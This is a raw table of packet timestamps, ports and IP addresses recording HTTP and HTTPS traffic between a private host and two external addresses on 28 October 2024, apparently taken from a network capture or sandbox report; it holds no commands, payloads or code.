Oct 28, 2024 02:07:50.017570972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.017585039 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.017599106 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.017606974 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.017617941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.017631054 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.017640114 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.017649889 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.017652035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.017676115 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.017707109 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.017718077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.017728090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.017774105 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.017997026 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.018068075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.018076897 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.018086910 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.018100023 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.018116951 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.018188953 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.020836115 CET	443	50011	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:50.021138906 CET	50011	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:50.021169901 CET	443	50011	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:50.021625042 CET	443	50011	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:50.021943092 CET	50011	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:50.022034883 CET	443	50011	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:50.022124052 CET	50011	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:50.056303024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.056350946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.056360006 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.056374073 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.056405067 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.056408882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.056420088 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.056447029 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.056457043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.056467056 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.056477070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.056493044 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.056516886 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.067336082 CET	443	50011	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:50.096726894 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.096762896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.096805096 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.098593950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.098618031 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.098628044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.098645926 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.098659992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.098669052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.098701000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132069111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132086039 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132097006 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132131100 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132155895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132165909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132167101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132177114 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132188082 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132198095 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132200956 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132230997 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132242918 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132373095 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132384062 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132394075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132407904 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132419109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132420063 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132431030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132443905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132447004 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132455111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132464886 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132477045 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132505894 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132553101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132594109 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132597923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132607937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132631063 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132635117 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132653952 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132669926 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132842064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132854939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132867098 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132883072 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132894039 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132913113 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.132953882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132970095 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132982016 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.132993937 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.133018017 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.133028984 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.133539915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133563042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133572102 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133594990 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.133621931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133624077 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.133631945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133641005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133657932 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.133672953 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.133730888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133743048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133754969 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133769035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133779049 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133786917 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.133812904 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133816957 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.133871078 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.133904934 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133948088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.133985996 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.133996010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134006977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134023905 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134027004 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134036064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134048939 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134078026 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134087086 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134097099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134107113 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134121895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134134054 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134134054 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134156942 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134183884 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134249926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134260893 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134270906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134294033 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134319067 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134392977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134403944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134413958 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134433985 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134450912 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134486914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134501934 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134511948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134524107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134526014 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134536028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134546041 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134548903 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134557009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134567976 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134593010 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134603024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134612083 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134643078 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134653091 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134664059 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134691000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134715080 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134731054 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134741068 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134768963 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134778023 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134896994 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134907007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134917021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134928942 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134939909 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.134943008 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134968042 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.134977102 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135154963 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135183096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135193110 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135205030 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135231018 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135281086 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135292053 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135333061 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135341883 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135404110 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135415077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135425091 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135449886 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135477066 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135514975 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135524988 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135560036 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135581970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135591984 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135601997 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135627031 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135628939 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135637999 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135654926 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135680914 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135715008 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135730028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135742903 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135752916 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135772943 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135802031 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135879993 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135890007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135899067 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135926008 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135951996 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.135970116 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135986090 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.135998011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136012077 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136018991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136023998 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136039972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136065960 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136065006 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136076927 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136105061 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136107922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136117935 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136130095 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136145115 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136159897 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136189938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136204958 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136214972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136229038 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136240005 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136260986 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136377096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136475086 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136486053 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136492968 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136501074 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136511087 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136518955 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136521101 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136529922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136547089 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136554003 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136574030 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136579037 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136588097 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136595011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136604071 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136620045 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136643887 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136668921 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136739016 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136782885 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136795044 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136831045 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136852980 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136858940 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136863947 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.136908054 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.136991978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137001038 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137010098 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137032032 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137054920 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137104034 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137120008 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137135029 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137146950 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137160063 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137182951 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137226105 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137236118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137264967 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137286901 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137314081 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137326002 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137362003 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137366056 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137377024 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137403011 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137427092 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137435913 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137451887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137484074 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137490034 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137495041 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137523890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137566090 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137567043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137578011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137607098 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137617111 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137643099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137654066 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137662888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137675047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137685061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137687922 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137716055 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137728930 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137742043 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137753010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137762070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137773037 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137787104 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137821913 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137886047 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137897968 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137907028 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137917042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137928009 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137949944 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.137967110 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137976885 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137986898 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.137998104 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.138016939 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.138041973 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.138181925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.138226986 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.138344049 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.138360977 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.138376951 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.138387918 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.138394117 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.138405085 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.138422966 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.138468027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:50.138520002 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:50.161750078 CET	443	50011	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:50.161782026 CET	443	50011	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:50.161835909 CET	50011	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:50.161858082 CET	443	50011	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:50.162014961 CET	50011	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:50.162193060 CET	443	50011	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:50.162276030 CET	443	50011	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:50.162318945 CET	50011	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:50.163630009 CET	50011	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:50.163645983 CET	443	50011	23.47.194.99	192.168.2.6
